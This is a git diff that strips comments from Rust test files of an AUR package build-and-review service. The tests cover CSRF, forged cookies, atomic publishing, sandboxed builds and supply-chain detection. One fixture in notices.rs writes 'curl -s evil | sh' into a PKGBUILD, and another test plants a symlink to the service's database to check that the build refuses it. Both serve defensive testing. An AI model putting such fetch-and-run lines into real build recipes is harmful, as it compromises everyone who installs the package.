assert_ne!(hash_of(&base), hash_of(&Identity { aur_commit: "cafe124".into(), ..base.clone() }));
diff --git a/tests/http.rs b/tests/http.rs
index 068f999..9bb199e 100644
--- a/tests/http.rs
+++ b/tests/http.rs
@@ -29,7 +29,6 @@ fn every_surface_renders() {
#[test]
fn the_review_detail_shows_the_panels_and_the_hashes() {
let web = Web::new("plain-make");
- // Publish a first version so the review has something to diff against.
let first = web.open_review("plain-make");
let page = web.get(&format!("/reviews/{}", first.id));
let dd = extract(&page.body, "name=\"diff_digest\" value=\"", "\"").unwrap();
@@ -43,17 +42,14 @@ fn the_review_detail_shows_the_panels_and_the_hashes() {
let c = web.open_review("plain-make");
let page = web.get(&format!("/reviews/{}", c.id));
assert_eq!(page.status, 200);
- // The panel set (§6), all comparing accepted → candidate.
for want in ["Recipe diff", "Version delta", "Source digest delta", "Dependency delta", "Build-env delta"] {
assert!(page.body.contains(want), "missing panel {want}");
}
assert!(page.body.contains("previous accepted release"), "no base shown");
- // The approve form carries both hashes (§7.1a) and works with JavaScript off.
assert!(page.body.contains("name=\"identity_hash\""));
assert!(page.body.contains("name=\"diff_digest\""));
assert!(page.body.contains("<form method=\"post\""));
assert!(!page.body.contains("<script"), "P2 ships no JavaScript at all");
- // The aur_commit is shown and linked into AUR's cgit.
assert!(page.body.contains("aur.archlinux.org/cgit/aur.git"), "no cgit link");
}
@@ -81,13 +77,11 @@ fn risk_signals_are_shown_inline() {
fn every_post_requires_a_csrf_token() {
let web = Web::new("plain-make");
let c = web.open_review("plain-make");
- // A form post with no token at all is refused outright.
let page = web.post_bare(
&format!("/reviews/{}/approve", c.id),
&[("identity_hash", "x"), ("diff_digest", "y")],
);
assert_eq!(page.status, 403, "a POST without CSRF must be refused");
- // And so is one with a token from someone else's session.
let page = web.post(&format!("/reviews/{}/approve", c.id), &[
("csrf", "not-the-token"),
("identity_hash", &c.identity_hash),
@@ -127,8 +121,6 @@ fn a_stale_approval_is_a_409_that_renders_the_current_diff() {
let page = web.get(&format!("/reviews/{}", c.id));
let shown_digest = extract(&page.body, "name=\"diff_digest\" value=\"", "\"").unwrap();
- // Upstream moves while the reviewer is reading: the identity changes under
- // them (§7.1a).
web.fx.bump(&[("pkgver", "9.9")]);
aur_build::watch::detect::check_pkgbase(&web.env.cfg, &web.env.db, "plain-make").unwrap();
@@ -138,8 +130,6 @@ fn a_stale_approval_is_a_409_that_renders_the_current_diff() {
);
assert_eq!(res.status, 409, "a stale approval must come back as 409");
assert!(res.body.contains("refused"), "no explanation: {}", &res.body[..200.min(res.body.len())]);
- // Either way the reviewer is told the ground moved, and shown the review as it
- // is NOW rather than the one they asked to approve.
assert!(
res.body.contains("while you were looking") || res.body.contains("no longer pending"),
"not a §7.1a explanation: {}",
@@ -181,7 +171,6 @@ fn bulk_approve_refuses_high_risk_without_individual_confirmation() {
assert!(res.body.contains("refused"), "bulk approve accepted a high-risk item: {}", &res.body[..300.min(res.body.len())]);
assert_eq!(web.env.query_i64("SELECT count(*) FROM approval", &[]), Some(0));
- // Confirming it individually lets it through — bulk is per-item (§7.4).
let res = web.post(
"/reviews/bulk",
&[("csrf", &web.csrf), ("decision", "approve"), ("ids", &id), ("confirm", &id)],
@@ -195,9 +184,7 @@ fn a_password_gate_redirects_anonymous_visitors() {
let mut web = Web::with_password("plain-make", "s3cret");
let page = web.get("/reviews");
assert_eq!(page.status, 200);
- // The gate redirects; ureq follows, so we land on the login page.
assert!(page.body.contains("Sign in"), "not the login page: {}", &page.body[..200.min(page.body.len())]);
- // Wrong password is refused, right password lets us through.
let bad = web.post("/login", &[("csrf", &web.csrf), ("password", "nope")]);
assert_eq!(bad.status, 401);
assert!(web.get("/packages").body.contains("Sign in"), "still not gated");
@@ -210,19 +197,14 @@ fn a_password_gate_redirects_anonymous_visitors() {
#[test]
fn a_forged_auth_cookie_is_not_a_session() {
- // What this pins: the gate used to read `Cookie: auth=1`, a value login merely
- // echoed, so any client that typed the cookie could read the reviews without
- // ever supplying the password. The session id is the credential now.
let web = Web::with_password("plain-make", "s3cret");
for path in ["/", "/reviews", "/audit", "/settings", "/builds", "/packages"] {
let res = web.raw_request("GET", path, &[("Cookie", "auth=1".into())], None);
assert_eq!(res.status, 303, "{path} let a forged cookie through ({}): {}", res.status, &res.body[..120.min(res.body.len())]);
assert_eq!(res.header("location"), Some("/login"), "{path} did not redirect to the login page");
}
- // A POST with the forged cookie is turned away at the gate too.
let res = web.raw_request("POST", "/logout", &[("Cookie", "auth=1".into())], Some(""));
assert_eq!(res.status, 303, "a forged cookie reached a mutating route");
- // And the word "auth" is not a cookie the server recognises anywhere.
let res = web.raw_request("GET", "/reviews", &[("Cookie", "auth=yes".into())], None);
assert_eq!(res.status, 303);
}
@@ -230,7 +212,6 @@ fn a_forged_auth_cookie_is_not_a_session() {
#[test]
fn login_rotates_the_session_and_logout_ends_it() {
let mut web = Web::with_password("plain-make", "s3cret");
- // Arrive with an anonymous session (the CSRF token needs one), then log in.
let anon = web.raw_request("GET", "/", &[], None).cookie().unwrap_or_default();
let res = web.login("s3cret");
assert_eq!(res.status, 303);
@@ -238,12 +219,10 @@ fn login_rotates_the_session_and_logout_ends_it() {
let session = res.cookie().unwrap_or_default();
assert!(!session.is_empty(), "a successful login issued no session cookie");
assert_ne!(session, anon, "login promoted the anonymous session instead of rotating it");
- // The new session sees the surface; the sid it replaced is dead.
assert_eq!(web.raw_request("GET", "/reviews", &[("Cookie", session.clone())], None).status, 200);
if !anon.is_empty() {
assert_eq!(web.raw_request("GET", "/reviews", &[("Cookie", anon)], None).status, 303, "the pre-login sid still worked");
}
- // Logout drops the sid server-side, which invalidates its CSRF token with it.
let out = web.raw_request("POST", "/logout", &[("Cookie", session.clone()), ("Content-Type", "application/x-www-form-urlencoded".into())], Some(&format!("csrf={}", web.csrf)));
assert_eq!(out.status, 303, "logout did not redirect: {}", out.status);
assert_eq!(web.raw_request("GET", "/reviews", &[("Cookie", session)], None).status, 303, "the logged-out sid still worked");
@@ -251,8 +230,6 @@ fn login_rotates_the_session_and_logout_ends_it() {
#[test]
fn handlers_read_on_a_read_only_connection() {
- // The claim under test: a handler can never take the write lock, because the
- // connection it reads through is read-only at the SQLite level.
let web = Web::new("plain-make");
let err = web
.env
@@ -263,7 +240,6 @@ fn handlers_read_on_a_read_only_connection() {
})
.err();
assert!(err.is_some(), "a read connection was able to write: the split is not real");
- // And the page still renders while that is true.
assert_eq!(web.get("/").status, 200);
}
diff --git a/tests/invariants.rs b/tests/invariants.rs
index 35f5b1a..d5b3758 100644
--- a/tests/invariants.rs
+++ b/tests/invariants.rs
@@ -6,7 +6,6 @@ use aur_build::review::approve::approve as do_approve;
use aur_build::review::{candidates, diff};
use common::*;
-/// subscribe → detect → render → approve → build → publish, in one call.
fn full_run(env: &Env, name: &str) -> CandidateRow {
aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap();
let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
@@ -35,14 +34,11 @@ fn count(env: &Env, sql: &str) -> i64 {
.unwrap()
}
-/// **I1 — no artifact without an approval.** After a real publish, every entry
-/// in the served index traces back through a release to an approval row.
#[test]
fn i1_every_index_entry_traces_back_to_an_approval() {
let (env, _fx) = env_with_fixture("plain-make");
full_run(&env, "plain-make");
- // The §2 query, verbatim in spirit: index entry → release → approval.
assert_eq!(
count(
&env,
@@ -53,7 +49,6 @@ fn i1_every_index_entry_traces_back_to_an_approval() {
0,
"I1: an index entry exists that no human approved"
);
- // And the reverse direction: nothing was approved and then quietly dropped.
assert_eq!(
count(&env, "SELECT count(*) FROM approval WHERE decision='approved'"),
1
@@ -61,9 +56,6 @@ fn i1_every_index_entry_traces_back_to_an_approval() {
assert_eq!(count(&env, "SELECT count(*) FROM release WHERE approval_id IS NULL"), 0);
}
-/// **I2 — the diff base is the last accepted version, never the last seen one.**
-/// Many detections arrive while nobody is looking; the review still compares against
-/// the accepted release.
#[test]
fn i2_base_is_the_last_accepted_version_after_many_detections() {
let (env, fx) = env_with_fixture("plain-make");
@@ -71,7 +63,6 @@ fn i2_base_is_the_last_accepted_version_after_many_detections() {
let accepted = db::accepted_release(&env.db, "plain-make").unwrap().unwrap();
assert_eq!(accepted.pkgver, "1.0");
- // Five upstream moves with nobody reviewing.
for v in ["1.1", "1.2", "1.3", "1.4", "1.5"] {
fx.bump(&[("pkgver", v)]);
aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, "plain-make").unwrap();
@@ -85,7 +76,6 @@ fn i2_base_is_the_last_accepted_version_after_many_detections() {
"I2: the diff base must be the accepted release ({}), not the last seen commit",
accepted.id
);
- // And the rendered diff really compares against it.
let panels = diff::panels(&env.cfg, &env.db, &open[0], Some(&accepted)).unwrap();
let text = diff::render_text(&panels);
assert!(text.contains("1.0"), "diff should show the accepted version: {text}");
@@ -93,8 +83,6 @@ fn i2_base_is_the_last_accepted_version_after_many_detections() {
let _ = c;
}
-/// **I4 — publishing is atomic.** Kill the process mid-publish: the consumer-
-/// visible index is either entirely the old one or entirely the new one.
#[test]
fn i4_kill_mid_publish_leaves_the_old_index_byte_identical() {
let (mut env, fx) = env_with_fixture("plain-make");
@@ -108,7 +96,6 @@ fn i4_kill_mid_publish_leaves_the_old_index_byte_identical() {
let dd = diff::render_and_store(&env.db, &env.cfg, &c).unwrap();
do_approve(&env.db, "tester", c.id, &c.identity_hash, &dd, None).unwrap();
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
- // Die after the new database is rendered to .tmp but before the rename.
env.set_publish_fault("before-rename");
assert!(matches!(
pipeline::run(&env.cfg, &env.db, &id).unwrap(),
@@ -124,13 +111,10 @@ fn i4_kill_mid_publish_leaves_the_old_index_byte_identical() {
query_pairs(&env, "SELECT name, version FROM package WHERE state='in_index'"),
vec![("plain-make".to_string(), "1.0-1".to_string())]
);
- // Recovery re-materializes the index from the DB; it invents nothing.
assert!(publish::reconcile(&env.cfg, &env.db).unwrap() >= 1);
assert_eq!(std::fs::read(&db_file).unwrap(), old_bytes);
}
-/// **I5 — a build resumes at the next incomplete step.** A worker that dies
-/// mid-pipeline does not repeat the expensive work or double-publish.
#[test]
fn i5_resume_after_a_crash_repeats_no_completed_step() {
let (mut env, fx) = env_with_fixture("plain-make");
@@ -152,7 +136,6 @@ fn i5_resume_after_a_crash_repeats_no_completed_step() {
let builds_before = aur_build::shims::called_with(&shim, "makepkg", "");
assert_eq!(builds_before, 2, "one build per attempted publish");
- // "Restart" the worker on the same build row.
env.clear_publish_fault();
match pipeline::run(&env.cfg, &env.db, &id).unwrap() {
pipeline::Outcome::Succeeded { release_id } => assert!(release_id > 0),
@@ -163,16 +146,12 @@ fn i5_resume_after_a_crash_repeats_no_completed_step() {
builds_before,
"I5: resuming re-ran the build step"
);
- // No duplicate side effects: one release row for the version, one artifact.
assert_eq!(count(&env, "SELECT count(*) FROM release WHERE pkgver='2.0'"), 1);
- // Artifacts are content-addressed; what must not happen is the same bytes
- // recorded twice.
assert_eq!(
count(&env, "SELECT count(*) FROM artifact"),
count(&env, "SELECT count(DISTINCT digest) FROM artifact"),
"I5: the resume recorded a duplicate artifact"
);
- // Every step is checkpointed as succeeded or explicitly skipped.
let bad = env
.db
.read(|c| {
@@ -186,8 +165,6 @@ fn i5_resume_after_a_crash_repeats_no_completed_step() {
assert_eq!(bad, 0, "every step reached a terminal state");
}
-/// **I7 — at most one open review per pkgbase.** Enforced by the partial unique
-/// index, not by application politeness.
#[test]
fn i7_the_schema_refuses_a_second_open_review() {
let (env, _fx) = env_with_fixture("plain-make");
@@ -213,8 +190,6 @@ fn i7_the_schema_refuses_a_second_open_review() {
assert_eq!(candidates::pending_candidates(&env.db).unwrap().len(), 1);
}
-/// **I8 — the served index is exactly the set of accepted pointers.** Not a
-/// superset and not a subset. Checked against the files on disk as well as the rows.
#[test]
fn i8_index_equals_the_accepted_pointers() {
let (env, fx) = env_with_fixture("plain-make");
@@ -237,19 +212,15 @@ fn i8_index_equals_the_accepted_pointers() {
assert!(!pointers.is_empty());
assert_eq!(index, pointers, "I8: index and accepted pointers diverge");
- // The superseded version is really gone, not merely hidden.
assert_eq!(
count(&env, "SELECT count(*) FROM package WHERE state='in_index' AND version='1.0-1'"),
0
);
- // And the database file on disk lists the same set.
let db_file = env.cfg.repo_arch_dir().join("aur-build.db.tar.gz");
let names = index_db_names(&db_file);
assert_eq!(names, vec!["plain-make".to_string()]);
}
-/// **I3 — the recipe is pinned to a commit.** Materializing anything other than
-/// the approved tree fails closed before a build runs.
#[test]
fn i3_materialization_fails_closed_on_the_recipe_pin() {
let (env, _fx) = env_with_fixture("plain-make");
@@ -272,7 +243,6 @@ fn i3_materialization_fails_closed_on_the_recipe_pin() {
assert_eq!(count(&env, "SELECT count(*) FROM release"), 0);
}
-/// **I6 — a rebuild never needs a new approval.**
#[test]
fn i6_manual_rebuild_publishes_the_same_version_without_a_new_approval() {
let (env, _fx) = env_with_fixture("plain-make");
@@ -290,10 +260,6 @@ fn i6_manual_rebuild_publishes_the_same_version_without_a_new_approval() {
);
}
-/// n-5: a manual rebuild's identity used to be a hand-rolled
-/// `format!("{commit}|{hash}|manual}")` — a second, incompatible format for the
-/// same concept, with a delimiter that can occur inside the values. It is now
-/// derived through the same canonical-JSON hash as every other identity.
#[test]
fn a_manual_rebuild_is_deterministic_and_its_own_build() {
let (env, _fx) = env_with_fixture("plain-make");
@@ -312,7 +278,6 @@ fn a_manual_rebuild_is_deterministic_and_its_own_build() {
);
}
-/// **I10 — the audit log is append-only**, and every consequential action is in it.
#[test]
fn i10_audit_is_append_only_and_records_the_decisions() {
let (env, _fx) = env_with_fixture("plain-make");
@@ -348,7 +313,6 @@ fn i10_audit_is_append_only_and_records_the_decisions() {
}
}
-/// **I12 — every build records the world it was built against.**
#[test]
fn i12_every_build_records_a_world_snapshot() {
let (env, fx) = env_with_fixture("plain-make");
@@ -383,12 +347,6 @@ fn i12_every_build_records_a_world_snapshot() {
assert!(!members.contains("glibc"), "foreign packages must be filtered out (§10.1)");
}
-// I9 (build isolation) is exercised by the chroot step and the real-chroot tier;
-// I11 (non-publishable change becomes a notice, never a silent drop) is covered
-// by `recipe_drift_under_a_static_version_is_a_notice_not_a_candidate` in
-// tests/detect.rs and gets its full treatment with P1's upstream probes.
-
-/// Read the package names out of a pacman-style database file (gzipped tar).
fn index_db_names(path: &std::path::Path) -> Vec<String> {
let file = std::fs::File::open(path).unwrap();
let mut ar = tar::Archive::new(flate2::read::GzDecoder::new(file));
@@ -406,12 +364,6 @@ fn index_db_names(path: &std::path::Path) -> Vec<String> {
names
}
-/// I9: build hosts are treated as untrusted — a malicious PKGBUILD must not reach
-/// the control plane's data or smuggle foreign bytes into what we publish.
-///
-/// `collect` scans the srcdir for `*.pkg.tar.zst` and `ingest` copies whatever those
-/// paths point at into the store, from where the bytes are served and signed. So the
-/// pipeline refuses symlinks and anything outside the build's own staging directory.
#[test]
fn i9_a_build_cannot_smuggle_bytes_in_from_outside_its_own_staging_dir() {
let (mut env, _fx) = env_with_fixture("plain-make");
@@ -423,7 +375,6 @@ fn i9_a_build_cannot_smuggle_bytes_in_from_outside_its_own_staging_dir() {
let c = candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap();
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
- // Something a build must never get to publish: our own database file.
let secret = env.cfg.db_path();
let store_before = dir_listing(&env.cfg.store_dir());
env.cfg.hooks.shim_plant_link = Some(secret.display().to_string());
@@ -440,7 +391,6 @@ fn i9_a_build_cannot_smuggle_bytes_in_from_outside_its_own_staging_dir() {
"the failure should say why it refused: {err}"
);
- // The refused bytes never reached the store, and nothing was published.
assert_eq!(
dir_listing(&env.cfg.store_dir()),
store_before,
@@ -448,7 +398,6 @@ fn i9_a_build_cannot_smuggle_bytes_in_from_outside_its_own_staging_dir() {
);
assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Failed);
assert!(db::index_version(&env.db, "plain-make").unwrap().is_none(), "nothing publishes from a failed build");
- // And the database itself is intact — the build read it, it did not become it.
assert!(secret.exists());
}
diff --git a/tests/kata.rs b/tests/kata.rs
index 79bf9d6..f923ea2 100644
--- a/tests/kata.rs
+++ b/tests/kata.rs
@@ -12,8 +12,6 @@ use common::{env_with_fixture, shim_dir};
#[test]
fn a_provisioned_sandbox_rendezvous_and_runs_a_command() {
- // Real sandbox-agent process, real frames, real nonce-matched dial-in —
- // everything about the kata lease path except the VM.
let cfg = Config::default();
let prov = Arc::new(LocalAgentProvisioner::new(shim_dir().join("sandbox-agent")));
let backend = KataBackend::bind(&cfg, "127.0.0.1:0", "kata-token", prov.clone()).unwrap();
@@ -55,8 +53,6 @@ fn a_sandbox_that_never_dials_in_is_a_ttl_expiry_not_a_hang() {
#[test]
fn the_live_kata_tier_is_recorded_not_silently_absent() {
- // The §16a convention: a tier that needs hardware or infrastructure
- // announces its own skip rather than pretending to have run.
if !Path::new("/dev/kvm").exists() {
println!("note: no /dev/kvm on this host; the live kata tier is skipped, not passed");
return;
@@ -65,8 +61,6 @@ fn the_live_kata_tier_is_recorded_not_silently_absent() {
println!("note: /dev/kvm present but AUR_KATA_API unset; live kata tier still skipped");
return;
};
- // Recorded as reached: a real cluster lease. Kept minimal on purpose —
- // acquire, one command, reclaim.
let cfg = Config::default();
let prov = Arc::new(aur_build::sandbox::kata::K8sSandboxProvisioner {
api,
@@ -82,10 +76,6 @@ fn the_live_kata_tier_is_recorded_not_silently_absent() {
sbx.destroy().unwrap();
}
-// agent-sandbox as a configuration, not a wish: the path from a config file to
-// the CR that would boot a VM, asserted end to end from parsed JSON.
-
-/// A config file as an operator would write it, parsed by the real loader.
fn agent_sandbox_config() -> Config {
let tmp = tempfile::tempdir().unwrap();
std::fs::write(
@@ -135,7 +125,6 @@ fn an_agent_sandbox_config_provisions_a_kata_vm_per_lease() {
assert!(args.windows(2).any(|w| w[0] == "--agent-id" && w[1] == "sbx-nonce-9"));
assert!(args.windows(2).any(|w| w[0] == "--ttl" && w[1] == "77"));
- // The cluster coordinates come from the same config, not from a default.
let prov = aur_build::sandbox::kata::K8sSandboxProvisioner::for_config(&cfg).unwrap();
assert_eq!(prov.api, "https://k8s.test:6443");
assert_eq!(prov.namespace, "builds");
@@ -149,24 +138,18 @@ fn agent_sandbox_is_a_backend_not_a_fallthrough_to_loopback() {
let id = backend.status().unwrap()[0].id.clone();
assert!(id.contains("kata@"), "expected a kata backend, got {id}");
- // One backend per process, for the same reason the listener is: a second
- // concurrent build must not race the first for the dial-ins it routes.
let again = aur_build::sandbox::backend_for(&cfg).unwrap();
assert_eq!(again.status().unwrap()[0].id, id, "two builds must share one kata backend");
}
#[test]
fn a_loopback_config_never_becomes_agent_sandbox_or_vice_versa() {
- // The fallthrough in both directions, closed.
let local = Config::default();
let id = aur_build::sandbox::backend_for(&local).unwrap().status().unwrap()[0].id.clone();
assert!(!id.contains("kata@"), "loopback must not report kata: {id}");
assert!(!id.contains("remote@"), "loopback must not report remote: {id}");
}
-/// The seam's whole claim, tested as one thing: a real package built and published
-/// through the kata lease path, with a VM being the only thing this host cannot
-/// provide.
#[test]
fn a_fixture_builds_and_publishes_through_the_kata_lease_path() {
let (env, _fx) = env_with_fixture("plain-make");
@@ -189,22 +172,15 @@ fn a_fixture_builds_and_publishes_through_the_kata_lease_path() {
};
assert!(release > 0);
- // Published, not merely built: the served index now names the package.
let world = aur_build::pipeline::publish::index_world(&env.db).unwrap();
assert!(
world.iter().any(|w| w.pkgbase == "plain-make" && w.version == "1.0-1"),
"the index must serve what the kata build produced: {world:?}"
);
- // And it ran inside the leased sandbox: the agent streamed the build output over
- // the wire into the same log file the SSE tail reads.
let log = std::fs::read_to_string(env.cfg.build_log_path(&id)).unwrap();
assert!(log.contains("Making package"), "agent output must reach the log:\n{log}");
let shimlog = env.cfg.hooks.shim_dir.clone().unwrap();
assert_eq!(aur_build::shims::called_with(&shimlog, "makepkg", ""), 1);
-
- // Deliberately no assertion that the sandbox is gone: the design says the TTL is
- // the guarantee and destroy is courtesy (wire.rs). A busy hub holds up to
- // `steps x builds` sandboxes until their TTL bites.
}
diff --git a/tests/layers.rs b/tests/layers.rs
index 8566584..1856462 100644
--- a/tests/layers.rs
+++ b/tests/layers.rs
@@ -21,8 +21,6 @@ fn rust_files(dir: &Path) -> Vec<PathBuf> {
out
}
-/// Every `crate::X` reference from `dir` into any of `forbidden`, as
-/// "file:line: text" so a failure names the exact edge.
fn edges(dir: &str, forbidden: &[&str]) -> Vec<String> {
let mut hits = Vec::new();
for file in rust_files(&src_root().join(dir)) {
@@ -48,17 +46,12 @@ fn edges(dir: &str, forbidden: &[&str]) -> Vec<String> {
#[test]
fn persistence_names_nothing_above_itself() {
- // M-6: `db::stage_b_cache_get` used to return `watch::upstream::StageB`, so the
- // storage layer could not be understood without the watcher.
let hits = edges("db", &["watch", "review", "pipeline", "http", "ops", "shims"]);
assert!(hits.is_empty(), "src/db depends upward on the modules above it:\n{hits:#?}");
}
#[test]
fn review_does_not_call_back_into_the_watcher() {
- // M-7: `review::risk` called `watch::digests::skip_on_non_vcs` while
- // `watch::detect` called `review::candidates` — a cycle. It now lives in
- // `recipe`, and both sides look down, not sideways.
let hits = edges("review", &["watch", "pipeline", "http"]);
assert!(hits.is_empty(), "src/review depends on modules beside or above it:\n{hits:#?}");
}
@@ -71,7 +64,6 @@ fn the_watcher_does_not_reach_into_the_pipeline_or_the_ui() {
#[test]
fn the_recipe_leaf_depends_on_nothing_above_it() {
- // `recipe` is a leaf: everything else may ask it; it may ask nothing.
let text = std::fs::read_to_string(src_root().join("recipe.rs")).expect("read recipe.rs");
for m in ["watch", "review", "pipeline", "http", "ops", "shims"] {
assert!(
diff --git a/tests/live.rs b/tests/live.rs
index da0f7ec..e572638 100644
--- a/tests/live.rs
+++ b/tests/live.rs
@@ -9,7 +9,6 @@ use aur_build::pipeline;
use aur_build::review::{candidates, diff};
use common::*;
-/// Approve a fixture's candidate and enqueue its build without running it.
fn queued(env: &Env, name: &str) -> String {
aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap();
let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
@@ -20,7 +19,6 @@ fn queued(env: &Env, name: &str) -> String {
pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap()
}
-/// Read a streaming response until EOF or the deadline, whichever comes first.
fn drain(mut r: impl Read, deadline: Duration) -> String {
let mut buf = [0u8; 4096];
let mut out = Vec::new();
@@ -47,8 +45,6 @@ fn the_log_stream_delivers_bytes_as_they_are_appended_and_then_ends() {
std::fs::create_dir_all(log.parent().unwrap()).unwrap();
std::fs::write(&log, "==> step materialize\n").unwrap();
- // A producer appends while the stream is open, then finishes the build. If the
- // endpoint buffered its response the "live" claim would be false.
let db = web.env.db.clone();
let id2 = id.clone();
let log2 = log.clone();
@@ -58,8 +54,6 @@ fn the_log_stream_delivers_bytes_as_they_are_appended_and_then_ends() {
std::thread::sleep(Duration::from_millis(400));
append(&log2, "==> step publish\n");
std::thread::sleep(Duration::from_millis(200));
- // Walk the machine the way a real build does: a queued build runs
- // before it succeeds.
builds::set_state(&db, &id2, BuildState::Running, None).unwrap();
builds::set_state(&db, &id2, BuildState::Succeeded, None).unwrap();
});
@@ -73,9 +67,7 @@ fn the_log_stream_delivers_bytes_as_they_are_appended_and_then_ends() {
assert!(body.contains("data: ==> step materialize"), "the first line is missing: {body}");
assert!(body.contains("data: ==> step build"), "appended bytes never arrived: {body}");
assert!(body.contains("data: ==> step publish"), "the tail stopped early: {body}");
- // It ends when the build does, rather than holding the connection forever.
assert!(body.contains("event: end"), "the stream never ended: {body}");
- // SSE framing: each log line is its own event, so a client can append.
assert!(body.contains("\n\n"), "not event-framed: {body}");
}
@@ -96,17 +88,13 @@ fn the_builds_table_refreshes_via_htmx_and_still_works_without_js() {
let web = Web::attach(env, fx);
let base = web.url("/builds");
- // One queued build so the table has a row.
queued(&web.env, "plain-make");
let page = ureq::get(&base).call().unwrap().into_string().unwrap();
- // The refresh is an attribute on the table, not a script we wrote.
assert!(page.contains("hx-trigger=\"every 3s\""), "no htmx refresh: {}", &page[..400.min(page.len())]);
assert!(page.contains("hx-get=\"/builds?fragment=1\""), "the refresh has no target");
assert!(page.contains("<script src=\"/static/htmx.min.js\""), "htmx is not loaded");
- // And with JavaScript off the same HTML already contains the table.
assert!(page.contains("<table>"), "no server-rendered table");
- // The fragment endpoint returns the table on its own, so htmx can swap it in.
let frag = ureq::get(&format!("{base}?fragment=1")).call().unwrap().into_string().unwrap();
assert!(frag.starts_with("<div id=\"builds\""), "fragment is not the table: {}", &frag[..120.min(frag.len())]);
assert!(!frag.contains("<!doctype"), "the fragment is a whole page");
@@ -117,9 +105,6 @@ fn the_builds_table_refreshes_via_htmx_and_still_works_without_js() {
fn htmx_is_the_only_javascript_and_what_is_shipped_fits_the_budget() {
let (env, fx) = env_with_fixture("plain-make");
let web = Web::attach(env, fx);
- // Served bytes are what a browser actually downloads, and that is the budget
- // with any meaning. An HTTP client would transparently decompress, which is
- // exactly what this budget is about, so read the wire directly.
let (headers, served) = raw_get(&web, "/static/htmx.min.js", true);
assert!(headers.to_lowercase().contains("content-encoding: gzip"), "the vendored js is not compressed: {headers}");
assert!(
@@ -127,17 +112,14 @@ fn htmx_is_the_only_javascript_and_what_is_shipped_fits_the_budget() {
"vendored JavaScript is {} bytes on the wire, over the 20 KB budget",
served.len()
);
- // The compressed copy really is htmx, not a stub pretending to be it.
let raw = gunzip(&served);
assert!(raw.starts_with(b"(function"), "the decompressed file is not htmx");
assert!(raw.len() > 40_000, "decompressed htmx looks truncated: {}", raw.len());
- // A client that cannot take gzip still gets working JavaScript, just larger.
let (plain_headers, plain_bytes) = raw_get(&web, "/static/htmx.min.js", false);
assert!(!plain_headers.to_lowercase().contains("content-encoding"), "served gzip to a client that did not ask");
assert_eq!(plain_bytes, raw, "the two copies disagree");
- // Nothing else is JavaScript: there is no place to hide a bundle.
let other = ureq::get(&web.url("/static/anything-else.js")).call();
assert!(matches!(other, Err(ureq::Error::Status(404, _))), "we serve arbitrary js");
}
@@ -150,13 +132,9 @@ fn the_stylesheet_is_served_and_the_review_surface_needs_no_javascript() {
assert!(css.contains("body"), "app.css is a placeholder");
let page = web.get("/reviews").body;
assert!(page.contains("<link rel=\"stylesheet\" href=\"/static/app.css\">"), "the page does not load it");
- // The review flow is the one that must work with scripting disabled, so it does
- // not load htmx at all.
assert!(!page.contains("<script"), "the review surface ships JavaScript");
}
-/// Ask for a path over a bare socket so the response is seen before any client-side
-/// content negotiation undoes it.
fn raw_get(web: &Web, path: &str, gzip: bool) -> (String, Vec<u8>) {
use std::io::{BufRead, BufReader, Write};
let addr = web.server.addr.clone();
diff --git a/tests/notices.rs b/tests/notices.rs
index 1f2852e..3fb0055 100644
--- a/tests/notices.rs
+++ b/tests/notices.rs
@@ -11,8 +11,6 @@ fn detect_outcome(env: &Env, name: &str) -> detect::Outcome {
detect::check_pkgbase(&env.cfg, &env.db, name).unwrap().outcome
}
-/// Approve and publish whatever is currently pending, so the next detection has
-/// an accepted release to compare against.
fn publish_current(env: &Env) {
let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
let dd = diff::render_and_store(&env.db, &env.cfg, &c).unwrap();
@@ -29,7 +27,6 @@ fn digest_drift_is_a_high_severity_integrity_alert_and_no_candidate() {
detect_outcome(&env, "digest-drift");
publish_current(&env);
- // The bytes behind the SKIP source change and the version does not.
fx.swap_payload("EVIL: whatever the CDN serves now");
let outcome = detect_outcome(&env, "digest-drift");
match outcome {
@@ -45,7 +42,6 @@ fn digest_drift_is_a_high_severity_integrity_alert_and_no_candidate() {
assert_eq!(notices[0].kind, notice_kind::INTEGRITY_ALERT);
assert_eq!(notices[0].severity, "high", "this is the highest-value detection we have");
assert!(notices[0].detail_json.contains("no longer serves"), "{}", notices[0].detail_json);
- // And the index keeps serving the artifact built from the old bytes (I1).
assert_eq!(db::unapproved_index_entries(&env.db).unwrap(), Vec::<String>::new());
assert_eq!(env.query_i64("SELECT count(*) FROM package WHERE state='in_index'", &[]), Some(1));
}
@@ -74,7 +70,6 @@ fn recipe_drift_under_a_static_version_is_a_warning_not_a_candidate() {
detect_outcome(&env, "plain-make");
publish_current(&env);
- // The maintainer edits the build() body but forgets to bump pkgrel.
let path = fx.aur.join("PKGBUILD");
let text = std::fs::read_to_string(&path).unwrap();
std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh")).unwrap();
@@ -110,15 +105,12 @@ fn risk_scoring_compares_against_the_accepted_release() {
detect_outcome(&env, "plain-make");
publish_current(&env);
- // A metadata-only bump: low risk, nothing alarming.
fx.bump(&[("pkgrel", "2")]);
detect_outcome(&env, "plain-make");
let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
assert_eq!(c.risk_level, risk::level::LOW, "signals: {:?}", c.risk_signals());
assert!(!c.risk_signals().iter().any(|s| s.starts_with("recipe-code-changed")));
- // Now change the build body and add a fetching makedep: the shape of a real
- // supply-chain edit.
let path = fx.aur.join("PKGBUILD");
let text = std::fs::read_to_string(&path).unwrap();
std::fs::write(
@@ -150,8 +142,6 @@ fn a_first_introduction_is_flagged_as_its_own_kind_of_review() {
#[test]
fn i11_nothing_publishable_is_ever_silently_dropped() {
- // Sweep every fixture through detection and assert the outcome is always a
- // review, a notice, an explicit no-change, or a recorded failure.
let fixtures = [
"plain-make", "with-patch", "skip-checksum", "split-pkgbase", "epoch-bump", "pkgrel-reset",
"downgrade", "git-sourced", "pin-drift", "digest-drift", "missing-dep", "build-fails",
